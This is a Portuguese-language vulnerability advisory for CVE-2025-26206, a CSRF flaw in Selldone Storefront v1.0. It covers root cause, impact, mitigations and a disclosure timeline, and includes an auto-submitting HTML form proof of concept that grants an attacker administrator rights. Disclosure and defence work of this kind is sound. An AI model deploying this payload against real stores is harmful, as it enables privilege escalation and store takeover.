
Vulnerabilidade CSRF no Selldone Storefront v1.0 que leva à escalada de privilégios (CVE-2025-26206, CVSS 9.0).
Uma vulnerabilidade crítica de Cross-Site Request Forgery (CSRF) no Selldone Storefront v1.0 permite que atacantes remotos escalem privilégios, enganando usuários autenticados para que executem
requisições que alteram o estado por meio da camada de aplicação da storefront. Descoberta e divulgada de forma responsável por Sibhi Balamurugan (@xibhi).
| Campo | Detalhe |
|---|---|
| ID do CVE | CVE-2025-26206 |
| Tipo | Cross-Site Request Forgery (CWE-352) |
| Produto | Selldone Storefront |
| Versão Afetada | v1.0 |
| Componente | index.html / Inicialização de sessão |
| Impacto | Escalação de Privilégios / Tomada de Controle da Loja |
| CVSS v3.1 | 9.0 (Crítico) — CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H |
| Descobridor | Sibhi Balamurugan (@xibhi) |
O Selldone Storefront v1.0 não possuía verificação de token anti-CSRF em endpoints que alteram o estado, e os cookies de autenticação eram armazenados sem limites estritos entre sites (SameSite omitido).
Quando um proprietário de loja ou administrador autenticado visita uma página controlada pelo atacante, o navegador anexa automaticamente os cookies de sessão ambientais às requisições de origem cruzada, executando operações privilegiadas sem o consentimento da vítima.
Site do Atacante → Navegador da Vítima (possui sessão) → API do Selldone (cookie enviado, sem verificação de CSRF) → Função Alterada
Um atacante hospeda uma página maliciosa com um formulário de envio automático direcionado a um endpoint privilegiado:
<form id="csrf" action="https://<TARGET-STOREFRONT>/api/v1/shop/roles" method="POST">
<input type="hidden" name="user_id" value="attacker_id" />
<input type="hidden" name="role" value="administrator" />
</form>
<script>
document.getElementById("csrf").submit();
</script>
Quando um administrador autenticado visita a página, o navegador envia a requisição com suas credenciais, elevando a conta do atacante.
X-CSRF-TOKEN validado ou um token sincronizador em todas as requisições não-GET (POST, PUT, DELETE, PATCH).SameSite=Lax ou SameSite=Strict, juntamente com os sinalizadores Secure e HttpOnly nos cookies de sessão.Origin e Referer em todos os endpoints que alteram o estado.| Data | Marco |
|---|---|
| Fev 2025 | Descoberto e reportado ao fornecedor. |
| 24 de fev de 2025 | Aviso inicial publicado. |
| 03 de mar de 2025 | Entrada publicada no NVD. |
| 04 de mar de 2025 | NVD pontuado em CVSS 9.0 (Crítico). |
Descobridor: Sibhi Balamurugan (@xibhi)
Este projeto está licenciado sob a Licença MIT.